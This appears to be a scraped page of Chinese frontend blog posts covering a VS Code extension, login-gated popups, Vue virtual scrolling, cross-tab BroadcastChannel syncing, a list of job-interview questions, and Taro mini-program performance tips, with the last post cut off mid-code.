访问这个: Manage Extensions | Visual Studio Marketplace 去掉地址最后的 sakanaovo 然后输入你自己的 publisher


选择这个 vscode 插件


image-20230804150207072.png


然后 variable-prompt-1.0.0.vsix 文件拖进去完毕


当然,如果你不想发布你可以选择在拓展中通过下图这种方式安装:


image-20230804151354242.png


四、结语💯


好久没有写文章了,上次写文章还是在上次。本章,我们通过简短的代码,实现了css变量提示vscode插件,希望能帮助到各位。


看完打开电脑,打开vscode,点开笔者文章链接,写下你的第一个Hello World 插件吧!先写5分钟


作者:sakana
来源:juejin.cn/post/7263305276397355063
收起阅读 »

实现仅从登录页进入首页才展示弹窗

web
需求:仅存在以下两种情况展示弹窗 登录页进入首页 用户保存了登录状态后通过地址栏或书签直接进入首页 本文用两种方案实现: 使用Document.referrer获取上个页面的 URI 使用sessionStorage存储弹窗展示数据 每个方案我都会讲...
继续阅读 »

需求:仅存在以下两种情况展示弹窗



  • 登录页进入首页

  • 用户保存了登录状态后通过地址栏或书签直接进入首页


本文用两种方案实现:



  • 使用Document.referrer获取上个页面的 URI

  • 使用sessionStorage存储弹窗展示数据



每个方案我都会讲讲解决思路和存在问题,记录一下自己的idea。


方案一:使用Document.referrer获取上个页面的 URI


解决思路


这是我想到的第一个解决方案。



  1. 在进入首页界面时,调用Document.referrer获取跳转到首页的起点页面 URI

  2. 将获取的 URI 与登录页的 URL 作比较

  3. 如一致,则展示弹窗;反之则不展示


实现伪代码如下:


const previousUrl = document.referrer;  // 获取上个页面的 URI
const loginUrl = '登录页 URL';
// 比较登录页 URL 与 previousUrl 是否相等 或 获得的 URI 是否为空,不相等则不展示。
const showDialog = loginUrl === previousUrl || previousUrl === '';

为什么还有一个previousUrl === ''判断呢?它判断的其实是第二种情况(直接进入首页),如果用户是通过地址栏或书签直接进入首页的话,Document.referrer返回的是空字符串


1699583988078.png


存在问题


讲到这,这个方案是不是已经解决我们在文章开头提出的需求了呢?从代码、逻辑以及实践是可以的,但是,我提出以下几个场景,大家判断一下弹窗是否会出现。


场景1 用户从登录页进入首页后(此时弹窗已成功展示并关闭),刷新首页,此时弹窗会再次出现吗?


场景2 登录页和首页的域名不一样,用户从登录页进入首页后会出现弹窗吗?


答案揭晓,前者会出现弹窗,后者则不会出现弹窗。


场景1解析


用户从登录页进入首页,在此前提下我们在首页调用Document.referrer得到登录页的 URI ;随后用户做刷新操作,再次在调用Document.referrer,获得新的 URI 和之前登录页 URI 是一致的,所以弹窗还会再次出现。


为了大家方便理解,我以GitHub为例:


我从 GitHub 登录页进入其主页,然后在控制台获取上个页面的 URI 。此时,我在主页点击刷新,再次在控制台调用Document.referrer,获得的 URI 与第一次获取的相同。


b669e-86sdi.gif


场景2解析


场景2是Document.referrer返回的 URI 与登录页 URL 不同导致的。其实不仅仅是域名不同会导致这个问题,文件路径或者文件名不同都有可能导致返回的 URI 与登录页 URL 不同。


小伙伴们有没有发现,我多次提及Document.referrer返回的字符串是 URI 。URI(统一资源标识符)与 URL(统一资源定位符)是有区别的,尤其,URI 并不是固定的,是相对的。(想了解更多“关于 URI 与 URL 区别”的小伙伴点击这里


先解释为什么登录页域名和首页域名不同,获得的 URI 就会和登录页不一样呢?举个例子,


这是我登录页的 URL:


1699595868152.png


我登录进入首页后,在控制台输出Document.referrer


1699596493250.png


发现没有,朋友们,获得的 URI 与登录页本身的 URL 不同,所以弹窗不展现。为什么会不同呢?再次贴出我另外一篇文章,点击了解更多哦




方案二:使用sessionStorage存储弹窗展示数据


众所周知,当用户打开一个窗口,会有一个sessionStorage对象;当窗口关闭时,会清除对应的sessionStorage。这一特性刚好符合我们的需求。


解决思路



  • 用户每次进入首页都会从sessionStorage获取 key 为弹窗ID的值

  • 判断值是否存在:

    • 如果值存在的话说明该弹窗已经展现过,不必再展示,直接跳出

    • 如果值为undefined则说明该弹窗在此窗口中没有展现过,则把 key 为弹窗ID的数据保存到sessionStorage,然后展示弹窗




伪代码如下:


const sessionItemKey = '弹窗ID';
if (sessionStorage.getItem(sessionItemKey)) return;
sessionStorage.setItem(sessionItemKey, 'Y');
this.dialogVisible = true;



存在问题


方案二似乎解决了方案一存在的刷新问题,也不会有获取 URI 与登录页 URL 不同的潜在问题,是个完美的解决方案!


不过,小伙伴们要注意一个场景:用户在一个窗口内多次登入和登出首页,弹窗会不会展示呢? 答案是不会展示。因为登入和登出操作都是在同一个会话当中发生的,多次登录进入首页,sessionStorage的数据都不会清除。


我们理一遍逻辑:



  • 用户打开新的登录页面窗口,登录成功进入首页

  • 首页跑了一次以上伪代码中值不存在的情况,在sessionStorage中保存了数据

  • 用户退出登录,再次进入登录页面(在同个会话中)

  • 用户登录成功后进入首页,首页跑了一次以上伪代码中值存在的情况


所以!sessionStorage的特性也会导致问题。不同的方案适用于不同的场景,就看大家怎么选择啦!


结束语


本次分享又到尾声啦!欢迎有疑惑或不同见解的小伙伴们在评论区留言哦~


作者:Swance
来源:juejin.cn/post/7299598252629901350
收起阅读 »

别再抱怨后端一次性传给你 1w 条数据了,几行代码教会你虚拟滚动!

web
如果后端一次性传给你 1 万条数据,该怎么办,当然是让他圆润的走开,哈哈,开个玩笑。虽然这种情况很少,不过我在实际开发中还真遇到了类似的情况,接下来我将基于 vue3 实现一个简单的虚拟滚动。 我们都知道,如果一次性展示所有的数据,那么会造成页面卡顿,虚拟滚...
继续阅读 »

如果后端一次性传给你 1 万条数据,该怎么办,当然是让他圆润的走开,哈哈,开个玩笑。虽然这种情况很少,不过我在实际开发中还真遇到了类似的情况,接下来我将基于 vue3 实现一个简单的虚拟滚动。



我们都知道,如果一次性展示所有的数据,那么会造成页面卡顿,虚拟滚动的原理就是将数据根据滚动条的位置进行动态截取,只渲染可视区域的数据,这样浏览器的性能就会大大提升,废话不多说,我们开始。


具体实现


首先,我们先模拟 500 条数据


const data = new Array(500).fill(0).map((_, i) => i); // 模拟真实数据

然后准备以下几个容器:


<template>
<div class="view-container">
<div class="content-container"></div>
<div class="item-container">
<div class="item"></div>
</div>
</div>
</template>


  • view-container是展示数据的可视区域,即可滚动的区域

  • content-container是用来撑起滚动条的区域,它的高度是实际的数据长度乘以每条数据的高度,它的作用只是用来撑起滚动条

  • item-container是实际渲染数据的区域

  • item则是具体渲染的数据


我们给这几个容器一点样式:


.view-container {
height: 400px;
width: 200px;
border: 1px solid red;
overflow-y: scroll;
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
}

.content-container {
height: 1000px;
}

.item-container {
position: absolute;
top: 0;
left: 0;
}

.item {
height: 20px;
}

view-container固定定位并居中,overflow-y设置为scroll


content-container先给它一个1000px的高度;


item-container绝对定位,topleft都设为 0;


每条数据item给他一个20px的高度;


先把 500 条数据都渲染上去看看效果:


初始渲染


这里我们把高度都写死了,元素的高度是实现虚拟滚动需要用到的变量,因此肯定不能写死,我们可以用动态绑定style来给元素加上高度:


首先定义可视高度和每一条数据的高度:


const viewHeight = ref(400); // 可视容器高度
const itemHeight = ref(20); // 每一项的高度

用动态绑定样式的方式给元素加上高度:


<div class="view-container" :style="{ height: viewHeight + 'px' }">
<div
class="content-container"
:style="{
height: itemHeight * data.length + 'px',
}"

>
</div>
<div class="item-container">
<div
class="item"
:style="{
height: itemHeight + 'px',
}"

>
</div>
</div>
</div>

content-container 使用每条数据的高度乘以数据总长度来得到实际高度。


然后我们定义一个数组来动态存放需要展示的数据,初始展示前 20 条:


const showData = ref<number[]>([]); // 显示的数据
showData.value = data.slice(0, 20); // 初始展示的数据 (前20个)

showData里的数据才是我们要在item遍历渲染的数据:


<div
class="item"
:style="{
height: itemHeight + 'px',
}"

v-for="(item, index) in showData"
:key="index"
>

{{ item }}
</div>

接下来我们就可以给view-container添加滚动事件来动态改变要展示的数据,具体思路就是:



  1. 根据滚动的高度除以每一条数据的高度得到起始索引

  2. 起始索引加上容器可以展示的条数得到结束索引

  3. 根据起始结束索引截取数据


具体代码如下:


const scrollTop = ref(0); // 初始滚动距离
// 滚动事件
const handleScroll = (e: Event) => {
// 获取滚动距离
scrollTop.value = (e.target as HTMLElement).scrollTop;
// 初始索引 = 滚动距离 / 每一项的高度
const startIndex = Math.round(scrollTop.value / itemHeight.value);
// 结束索引 = 初始索引 + 容器高度 / 每一项的高度
const endIndex = startIndex + viewHeight.value / itemHeight.value;
// 根据初始索引和结束索引,截取数据
showData.value = data.slice(startIndex, endIndex);

console.log(showData.value);
};

打印一下数据看看数据有没有改变:


滚动数据改变


可以看到数据是动态改变了,但是页面上却没有按照截取的数据来展示,这是因为什么呢? 查看一下元素:


问题


可以看到存放数据的元素 也就是 item-container 也跟着向上滚动了,所以我们不要让它滚动,可以通过调整它的 translateY 的值来实现,使其永远向下偏移滚动条的高度


<div
class="item-container"
:style="{
transform: 'translateY(' + scrollTop + 'px)',
}"

>

<div
class="item"
:style="{
height: itemHeight + 'px',
}"

v-for="(item, index) in showData"
:key="index"
>

{{ item }}
</div>
</div>

看效果:


效果


文章到此就结束了。这只是一个简单的实现,还有很多可以优化的地方,例如滚动太快出现白屏的现象等,大家可以尝试一下,并试着优化一下。


希望本文能够对你有帮助。


作者:路遥知码li
来源:juejin.cn/post/7301911743487590452
收起阅读 »

浏览器跨标签星球火了,简单探究一下实现原理

web
一、前言 最近 推特上 一位懂设计和写代码的大神一个两个浏览器之间 星球粒子交互的动画火了, 让人看了大呼脑洞大开, 浏览器竟然还能这么玩!!! 准备自己也搞搞玩一下 二、实现 原作者的粒子动画非常炫酷, 但是不是我们本文重点, 我们通过一个元素在不同窗口的...
继续阅读 »

output3.gif


一、前言


最近 推特上 一位懂设计和写代码的大神一个两个浏览器之间 星球粒子交互的动画火了, 让人看了大呼脑洞大开, 浏览器竟然还能这么玩!!!


准备自己也搞搞玩一下


output3.gif


二、实现


原作者的粒子动画非常炫酷, 但是不是我们本文重点, 我们通过一个元素在不同窗口的拖拽实现一个可以变幻的例子来学习一下原理, 后续在实现一个稍微复杂的多窗口的小游戏。关于粒子动画的内容,有兴趣的小伙伴可以自己实现


其实实现类似的功能需要的难点并不多,不在乎以下几个步骤



  • 1、 屏幕坐标和窗口坐标转换

  • 2、 跨标签通讯


1、 先来看第一个点, 获取屏幕坐标与窗口坐标


// 屏幕坐标转换为窗口坐标
const screenToClient = (screenX, screenY) => {
const clienX = screenX - window.screenX;
const clienY = screenY - window.screenY - barHeight();
return [clienX, clienY];
};

// 窗口坐标转换为屏幕坐标
const clientToScreen = (clienX, clienY) => {
const screenX = clienX + window.screenX;
const screenY = clienY + window.screenY + barHeight();
return [screenX, screenY];
};

我们先简单实现一个卡片, 通过url上面传递颜色值, 设置定位


在卡片本上设置上点击拖动等事件


<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>跨标签通讯</title>
</head>
<style>
.card {
width: 300px;
height: 300px;
background-color: #f00;
position: fixed;
top: 100px;
left: 100px;
}
</style>
<body>
跨标签通讯
<div class="card">card</div>
</body>
<script>
const barHeight = () => window.outerHeight - window.innerHeight;
const cardDom = document.querySelector(".card");
cardDom.style.top = 100 + "px";
cardDom.style.left = 100 + "px";
cardDom.style.background =
new URLSearchParams(window.location.search).get("color") || "red";

window.onload = function () {
cardDom.onmousedown = function (e) {
cardDom.style.cursor = "pointer";
let x = e.pageX - cardDom.offsetLeft;
let y = e.pageY - cardDom.offsetTop;
window.onmousemove = function (e) {
cardDom.style.left = e.clientX - x + "px";
cardDom.style.top = e.clientY - y + "px";
// 发送消息
const clientCoordinateX = e.clientX - x;
const clientCoordinateY = e.clientY - y;
const ScreenCoordinate = clientToScreen(
clientCoordinateX,
clientCoordinateY
);
sendMessage(ScreenCoordinate);
};
window.onmouseup = function () {
window.onmousemove = null;
window.onmouseup = null;
cardDom.style.cursor = "unset";
};
};
};
</script>
</html>


2、 跨标签传输


单个元素的拖动就实现了, 很简单, 如何让其他标签的元素也能同步进行, 需要实现跨标签方案了, 可以参考该文章- 跨标签页通信的8种方式


我们就选择第一种,使用 BroadCast Channel, 使用也很简单


// 创建 Broadcast Channel
const channel = new BroadcastChannel("myChannel");
// 监听消息
channel.onmessage = (event) => {
// 处理接收到的消息
console.log('接收',event)
};
// 发送消息
const sendMessage = (message) => {
channel.postMessage(message);
};

只需要在移动时发送消息, 再其他标签页就可以接收到值了, 现在关键的就是收到发送的坐标点后, 如何处理, 其实关键就是要让几个窗口的卡片位置转化到同一个纬度, 让其再超出浏览器的时候,再另一个窗口的同一个位置出现, 所以就需要将窗口坐标转化成屏幕坐标,发送给其他窗口后, 再转化成窗口坐标进行渲染即可


// 鼠标移动发送消息的时候,窗口坐标转化成屏幕坐标
window.onmousemove = function (e) {
cardDom.style.left = e.clientX - x + "px";
cardDom.style.top = e.clientY - y + "px";
const clientCoordinateX = e.clientX - x;
const clientCoordinateY = e.clientY - y;
const ScreenCoordinate = clientToScreen(
clientCoordinateX,
clientCoordinateY
);
sendMessage(ScreenCoordinate);

// 接收消息的时候,屏幕坐标转化成窗口坐标
channel.onmessage = (event) => {
// 处理接收到的消息
const [clienX, clienY] = screenToClient(...event.data);
// 不同窗口的卡片要在同一个位置, 要放到同一个坐标系下面,保持屏幕坐标一致
cardDom.style.left = clienX + "px";
cardDom.style.top = clienY + "px";
};

完整代码,在最下面


三、总结


本文通过移动一个简单的图形, 在不同浏览器之间穿梭变换, 初步体验了多个浏览器之间如何进行交互, 通过拖拽元素,通过跨标签的通讯, 将当前窗口元素的位置进行发送, 另一个窗口进行实时接收, 然后通过屏幕坐标和窗口坐标进行转换, 就能实现,从一个浏览器拖动到另一个浏览器时, 变化元素颜色的功能了, 当然变化背景色只是举例子, 你也可以变化扑克牌, 变化照片, 这样看起来像变魔术一样,非常神奇,看似浏览器不同标签之间没有联系,当以这种方式产生联系后, 就会产生很多不可思议的神奇事情。 就像国外大神的多标签页的两个星球粒子, 产生吸引 融合的效果。原理其实是一样的。


后续前瞻


在通过小demo的学习,知道多浏览器的玩法后, 接下来的我们会实现一个更有意思的小游戏,通过浏览器化身一个小木棒, 接小球游戏, 先看一下 gif, 接下来的文章会写具体实现


output3.gif


完整代码实现如下


<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>跨标签通讯</title>
</head>
<style>
.card {
width: 300px;
height: 300px;
background-color: #f00;
position: fixed;
top: 100px;
left: 100px;
}
</style>
<body>
跨标签通讯
<div class="card">card</div>
</body>
<script>
const barHeight = () => window.outerHeight - window.innerHeight;
const cardDom = document.querySelector(".card");
cardDom.style.top = 100 + "px";
cardDom.style.left = 100 + "px";
cardDom.style.background =
new URLSearchParams(window.location.search).get("color") || "red";

// 屏幕坐标转换为窗口坐标
const screenToClient = (screenX, screenY) => {
const clienX = screenX - window.screenX;
const clienY = screenY - window.screenY - barHeight();
return [clienX, clienY];
};

// 窗口坐标转换为屏幕坐标
const clientToScreen = (clienX, clienY) => {
const screenX = clienX + window.screenX;
const screenY = clienY + window.screenY + barHeight();
return [screenX, screenY];
};

// 创建 Broadcast Channel
const channel = new BroadcastChannel("myChannel");
// 监听消息
channel.onmessage = (event) => {
// 处理接收到的消息
const [clienX, clienY] = screenToClient(...event.data);
// 不同窗口的卡片要在同一个位置, 要放到同一个坐标系下面,保持屏幕坐标一致
cardDom.style.left = clienX + "px";
cardDom.style.top = clienY + "px";
};

// 发送消息
const sendMessage = (message) => {
channel.postMessage(message);
};

window.onload = function () {
cardDom.onmousedown = function (e) {
cardDom.style.cursor = "pointer";
let x = e.pageX - cardDom.offsetLeft;
let y = e.pageY - cardDom.offsetTop;
window.onmousemove = function (e) {
cardDom.style.left = e.clientX - x + "px";
cardDom.style.top = e.clientY - y + "px";
// 发送消息
const clientCoordinateX = e.clientX - x;
const clientCoordinateY = e.clientY - y;
const ScreenCoordinate = clientToScreen(
clientCoordinateX,
clientCoordinateY
);
sendMessage(ScreenCoordinate);
};
window.onmouseup = function () {
window.onmousemove = null;
window.onmouseup = null;
cardDom.style.cursor = "unset";
};
};
};
</script>
</html>

作者:重阳微噪
来源:juejin.cn/post/7304598711992598566
收起阅读 »

一周的努力化为泡影,前端找工作是很难

web
这周又是面了一周,今天是周五了,目前还没有一个offer。好几家面试都是聊的很好,问题回答的自我感觉挺好(可能面试官没觉得好),然后就没有了后续。这周一共面试了6家公司,目前有2家过了2面。下周约了3面线下,可能工资不会给的太多。其中最遗憾的一家是bitget...
继续阅读 »

这周又是面了一周,今天是周五了,目前还没有一个offer。好几家面试都是聊的很好,问题回答的自我感觉挺好(可能面试官没觉得好),然后就没有了后续。这周一共面试了6家公司,目前有2家过了2面。下周约了3面线下,可能工资不会给的太多。其中最遗憾的一家是bitget,二面面试官迟到了10分钟,然后面了半个小时不到,面试官匆匆结束面试,整个过程我也没觉得讲的多差,反正草草收场让我有点懵逼,我后来问HR说没有后续了,很可能我是被当成KPI了。下周继续努力吧!!!


以下是我这周的面试题。


1. 天学网


面试时间


一面:2023/11/06 10:00 腾讯会议


二面:2023/11/07 19:00 腾讯会议


一面问题




  1. 自我介绍

  2. 介绍一下你在上家公司的主要工作

  3. 介绍一个你之前过往工作中最满意的一个项目

  4. 你在这个项目中做的性能优化的事情有哪些?

  5. webworker中为什么能提升js执行的性能?

  6. 你是怎么使用webworker的?

  7. 浏览器内存你在实战中处理过吗?

  8. 浏览器的垃圾回收机制是什么样的?

  9. 你在做微前端的时候,为什么选择qiankun

  10. qiankun的原理了解哪些

  11. 你在使用qiankun的时候,有没有发现这个框架的不足之处

  12. 使用ts的时候,有没有什么心得

  13. ts注解用过没有?是什么?

  14. webpack熟悉吗?webpack打包流程是什么?

  15. 你在公司制定前端规范的时候,都有哪些内容

  16. 场景题:答案评分,根据给定的答案和作答打分,如何设计?



二面问题




  1. 问了一下工作经历

  2. 说一个自己的满意的项目

  3. 业务场景:负责的项目,用户反馈体验不友好,该如何优化



做教学工具的,也算是教育行业,下周二面。


2. 小黑盒


面试时间


一面:2023/11/06 15:00 牛客网面试


面试问题




  1. coding

    1. 中位数

    2. 孩子发糖果

    3. 无重叠区间





错一个直接挂。。。无情哈拉少。


3. bitget


面试时间


一面:2023/11/07 16:00 腾讯会议面试


一面问题




  1. 自我介绍

  2. 小程序跟H5的区别是什么?

  3. react和vue的语法是是如何在小程序中运行的?

  4. uni-app是如何打包成各个平台能运行的代码的?

  5. vue3中做了哪些优化?

  6. vue2和vue3的响应式有什么区别?

  7. vue中的watchEffect是什么?

  8. nextjs中运行时机制什么样?你们自己封装的还是?

  9. interface和type的区别是什么?

  10. vite、webpack、roolup的区别是什么?你怎么选择

  11. promise有哪些方法?

  12. coding题

  13. 手写Promise.all



二面问题




  1. 自我介绍

  2. 工作经历

  3. 为什么一直在教育行业

  4. 前端监控如何设计

  5. 讲一个你过往项目中遇到的问题,如何解决的



感觉更像是在搞KPI,最后二面草草结束,也没给我机会提问题。


4. 冲云破雾科技


面试时间


2023-11-08 16:00


薪资范围


30-50K 16薪


面试问题




  1. 自我介绍

  2. 数组乱序

  3. 一个数组,里面是[{name: 'xxx', 'age': 12, ....}],请根据name或者age进行排序,如果name中有中文是如何排序的

  4. 在vue中,v-modal是如何传递给子组件的

  5. 密码校验,要求包含大小写字母,数字,长度为6,至少满足三个条件

  6. 布局适配问题,响应式,rem,em,flex等



这是一家专门搞小程序算是,公司没有前端,跟第三方合作,面试我的也是第三方的前端,问的问题也比较偏业务场景。最后没啥结果了。


5. 燃数科技


薪资范围


25-40K*14薪


面试时间


2023/11/09 11:00-11:30


面试问题




  1. 自我介绍

  2. 低代码如何设计的

  3. react路由原理

  4. react生命周期

  5. 什么是回调地狱,如何解决

  6. jwt和session有什么区别

  7. js文件相互引用有什么问题?如何解决

  8. 一个很大的json文件,前端读取如何优化



面试我的不像是前端,更像是个后端,公司目前有两个前端,之前离职一个,现在想找一个填补空缺。做低代码可视化平台的。下周线下二面。


6. 58同城


面试时间


2023/11/10 10:30-11:30


面试题




  1. 自我介绍

  2. coding

    1. 三数之和

    2. 连续正整数之和



  3. 最新了解的一些前端新技术

    1. vite为什么比webpack快

    2. vite的预构建是如何做的

    3. tree-shaking是如何做的,commonjs能用吗



  4. 微前端了解过哪些框架,如何选型

    1. qiankun的js沙箱和css沙箱原理是啥



  5. 讲讲你做的低代码平台

    1. 你觉得这个低代码平台跟别的比有什么优势或者有什么亮点吗?

    2. 实时预览功能是如何做的?

    3. 有没有版本回退功能?



  6. 讲一个你做的比较拿手的项目

    1. SDK

    2. 脚手架

    3. 难点是什么?

    4. 技术亮点是什么?





总结面试不足:coding能力有待提高,项目对于大厂面试来说不够有亮点,难度不够,对于技术细节不够深入。下周继续加油,噢力给给!!!😭😭😭


如果你现在正在找工作,可以关注一下我的公众号「白哥学前端」,进群领取前端面试小册,和群友一起交流。本群承诺没有任何交易,没有买卖,权当为了督促我自己,也为了找到志同道合的道友一起渡劫。


作者:白哥学前端
来源:juejin.cn/post/7299392213481439243
收起阅读 »

Taro | 高性能小程序的最佳实践

web
前言 作为一个开放式的跨端跨框架解决方案,Taro 在大量的小程序和 H5 应用中得到了广泛应用。我们经常收到开发者的反馈,例如“渲染速度较慢”、“滑动不够流畅”、“性能与原生应用相比有差距” 等。这表明性能问题一直是困扰开发者的一个重要问题。 熟悉 Taro...
继续阅读 »

前言


作为一个开放式的跨端跨框架解决方案,Taro 在大量的小程序和 H5 应用中得到了广泛应用。我们经常收到开发者的反馈,例如“渲染速度较慢”、“滑动不够流畅”、“性能与原生应用相比有差距” 等。这表明性能问题一直是困扰开发者的一个重要问题。


熟悉 Taro 的开发者应该知道,相比于 Taro 1/2,Taro 3 是一个更加注重运行时而轻量化编译时的框架。它的优势在于提供了更高效的代码编写方式,并拥有更丰富的生态系统。然而,这也意味着在性能方面可能会有一些损耗。


但是,使用 Taro 3 并不意味着我们必须牺牲应用的性能。事实上,Taro 已经提供了一系列的性能优化方法,并且不断探索更加极致的优化方案。


本文将为大家提供一些小程序开发的最佳实践,帮助大家最大程度地提升小程序应用的性能表现。


一、如何提升初次渲染性能


如果初次渲染的数据量非常大,可能会导致页面在加载过程中出现一段时间的白屏。为了解决这个问题,Taro 提供了预渲染功能(Prerender)。


使用 Prerender 非常简单,只需在项目根目录下的 config 文件夹中找到 index.js/dev.js/prod.js 三者中的任意一个项目配置文件,并根据项目情况进行修改。在编译时,Taro CLI 会根据你的配置自动启动预渲染功能。


const config = {
...
mini: {
prerender: {
match: 'pages/shop/**', // 所有以 `pages/shop/` 开头的页面都参与 prerender
include: ['pages/any/way/index'], // `pages/any/way/index` 也会参与 prerender
exclude: ['pages/shop/index/index'] // `pages/shop/index/index` 不用参与 prerender
}
}
};

module.exports = config


更详细说明请参考官方文档:taro-docs.jd.com/docs/preren…



二、如何提升更新性能


由于 Taro 使用小程序的 template 进行渲染,这会引发一个问题:所有的 setData 更新都需要由页面对象调用。当页面结构较为复杂时,更新的性能可能会下降。


当层级过深时,setData 的数据结构如下:


page.setData({
'root.cn.[0].cn.[0].cn.[0].cn.[0].markers': [],
})

期望的 setData 数据结构:


component.setData({
'cn.[0].cn.[0].markers': [],
})

目前有两种方法可以实现上述结构,以实现局部更新的效果,从而提升更新性能:


1. 全局配置项 baseLevel


对于不支持模板递归的小程序(例如微信、QQ、京东小程序等),当 DOM 层级达到一定数量后,Taro 会利用原生自定义组件来辅助递归渲染。简单来说,当 DOM 结构超过 N 层时,Taro 将使用原生自定义组件进行渲染(可以通过修改配置项 baseLevel 来调整 N 的值,建议设置为 8 或 4)。


需要注意的是,由于这是全局设置,可能会带来一些问题,例如:



  • 在跨原生自定义组件时,flex 布局会失效(这是影响最大的问题);

  • SelectorQuery.select 方法中,跨自定义组件的后代选择器写法需要增加 >>>:.the-ancestor >>> .the-descendant


2. 使用 CustomWrapper 组件


CustomWrapper 组件的作用是创建一个原生自定义组件,用于调用后代节点的 setData 方法,以实现局部更新的效果。


我们可以使用它来包裹那些遇到更新性能问题的模块,例如:


import { View, Text } from '@tarojs/components'

export default function () {
return (
<View className="index">
<Text>Demo</Text>
<CustomWrapper>
<GoodsList />
</CustomWrapper>
</View>

)
}

三、如何提升长列表性能


长列表是常见的组件,当生成或加载的数据量非常大时,可能会导致严重的性能问题,尤其在低端机上可能会出现明显的卡顿现象。


为了解决长列表的问题,Taro 提供了 VirtualList 组件和 VirtualWaterfall 组件。它们的原理是只渲染当前可见区域(Visible Viewport)的视图,非可见区域的视图在用户滚动到可见区域时再进行渲染,以提高长列表滚动的流畅性。


image


1. VirtualList 组件(虚拟列表)


以 React Like 框架使用为例,可以直接引入组件:


import VirtualList from '@tarojs/components/virtual-list'

一个最简单的长列表组件如下所示:


function buildData(offset = 0) {
return Array(100)
.fill(0)
.map((_, i) => i + offset)
}

const Row = React.memo(({ id, index, data }) => {
return (
<View id={id} className={index % 2 ? 'ListItemOdd' : 'ListItemEven'}>
Row {index} : {data[index]}
</View>

)
})

export default class Index extends Component {
state = {
data: buildData(0),
}

render() {
const { data } = this.state
const dataLen = data.length
return (
<VirtualList
height={800} /* 列表的高度 */
width="100%" /* 列表的宽度 */
item={Row} /* 列表单项组件这里只能传入一个组件 */
itemData={data} /* 渲染列表的数据 */
itemCount={dataLen} /* 渲染列表的长度 */
itemSize={100} /* 列表单项的高度 */
/>

)
}
}


更多详情可以参考官方文档:taro-docs.jd.com/docs/virtua…



2. VirtualWaterfall 组件(虚拟瀑布流)


以 React Like 框架使用为例,可以直接引入组件:


import { VirtualWaterfall } from `@tarojs/components-advanced`

一个最简单的长列表组件如下所示:


function buildData(offset = 0) {
return Array(100)
.fill(0)
.map((_, i) => i + offset)
}

const Row = React.memo(({ id, index, data }) => {
return (
<View id={id} className={index % 2 ? 'ListItemOdd' : 'ListItemEven'}>
Row {index} : {data[index]}
</View>

)
})

export default class Index extends Component {
state = {
data: buildData(0),
}

render() {
const { data } = this.state
const dataLen = data.length
return (
<VirtualWaterfall
height={800} /* 列表的高度 */
width="100%" /* 列表的宽度 */
item={Row} /* 列表单项组件这里只能传入一个组件 */
itemData={data} /* 渲染列表的数据 */
itemCount={dataLen} /* 渲染列表的长度 */
itemSize={100} /* 列表单项的高度 */
/>

)
}
}


更多详情可以参考官方文档:taro-docs.jd.com/docs/virtua…



四、如何避免 setData 数据量较大


众所周知,对小程序性能的影响较大的主要有两个因素,即 setData 的数据量和单位时间内调用 setData 函数的次数。在 Taro 中,会对 setData 进行批量更新操作,因此通常只需要关注 setData 的数据量大小。下面通过几个例子来说明如何避免数据量过大的问题:


例子 1:删除楼层节点要谨慎处理


目前 Taro 在处理节点删除方面存在一些缺陷。假设存在以下代码写法:


<View>
<!-- 轮播 -->
<Slider />
<!-- 商品组 -->
<Goods />
<!-- 模态弹窗 -->
{isShowModal && <Modal />}
</View>

isShowModaltrue 变为 false 时,模态弹窗会消失。此时,Modal 组件的兄弟节点都会被更新,setData 的数据是 Slider + Goods 组件的 DOM 节点信息。


一般情况下,这不会对性能产生太大影响。然而,如果待删除节点的兄弟节点的 DOM 结构非常复杂,比如一个个楼层组件,删除操作的副作用会导致 setData 的数据量变大,从而影响性能。


为了解决这个问题,可以通过隔离删除操作来进行优化。


<View>
<!-- 轮播 -->
<Slider />
<!-- 商品组 -->
<Goods />
<!-- 模态弹窗 -->
<View>
{isShowModal && <Modal />}
</View>

</View>

例子 2:基础组件的属性要保持引用


当基础组件(例如 ViewInput 等)的属性值为非基本类型时,假设存在以下代码写法:


<Map
latitude={22.53332}
longitude={113.93041}
markers={[
{
latitude: 22.53332,
longitude: 113.93041,
},
]}
/>

每次渲染时,React 会对基础组件的属性进行浅比较。如果发现 markers 的引用不同,就会触发组件属性的更新。这最终导致了 setData 操作的频繁执行和数据量的增加。 为了解决这个问题,可以使用状态(state)或闭包等方法来保持对象的引用,从而避免不必要的更新。


<Map
latitude={22.53332}
longitude={113.93041}
markers={this.state.markers}
/>

五、更多最佳实践


1. 阻止滚动穿透


在小程序开发中,当存在滑动蒙层、弹窗等覆盖式元素时,滑动事件会冒泡到页面上,导致页面元素也会跟着滑动。通常我们会通过设置 catchTouchMove 来阻止事件冒泡。


然而,由于 Taro3 事件机制的限制,小程序事件都是以 bind 的形式进行绑定。因此,与 Taro1/2 不同,调用 e.stopPropagation() 并不能阻止滚动事件的穿透。


解决办法 1:使用样式(推荐)


可以为需要禁用滚动的组件编写以下样式:


{
overflow:hidden;
height: 100vh;
}

解决办法 2:使用 catchMove


对于极个别的组件,比如 Map 组件,即使使用样式固定宽高也无法阻止滚动,因为这些组件本身具有滚动的功能。因此,第一种方法无法处理冒泡到 Map 组件上的滚动事件。 在这种情况下,可以为 View 组件添加 catchMove 属性:


// 这个 View 组件会绑定 catchtouchmove 事件而不是 bindtouchmove
<View catchMove />

2. 跳转预加载


在小程序中,当调用 Taro.navigateTo 等跳转类 API 后,新页面的 onLoad 事件会有一定的延时。因此,为了提高用户体验,可以将一些操作(如网络请求)提前到调用跳转 API 之前执行。


对于熟悉 Taro 的开发者来说,可能会记得在 Taro 1/2 中有一个名为 componentWillPreload 的钩子函数。然而,在 Taro 3 中,这个钩子函数已经被移除了。不过,开发者可以使用 Taro.preload() 方法来实现跳转预加载的效果:


// pages/index.js
Taro.preload(fetchSomething())
Taro.navigateTo({ url: '/pages/detail' })

// pages/detail.js
console.log(getCurrentInstance().preloadData)

3. 建议把 Taro.getCurrentInstance() 的结果保存下来


在开发过程中,我们经常会使用 Taro.getCurrentInstance() 方法来获取小程序的 apppage 对象以及路由参数等数据。然而,频繁地调用该方法可能会导致一些问题。


因此,建议将 Taro.getCurrentInstance() 的结果保存在组件中,并在需要时直接使用,以避免频繁调用该方法。这样可以提高代码的执行效率和性能。


class Index extends React.Component {
inst = Taro.getCurrentInstance()

componentDidMount() {
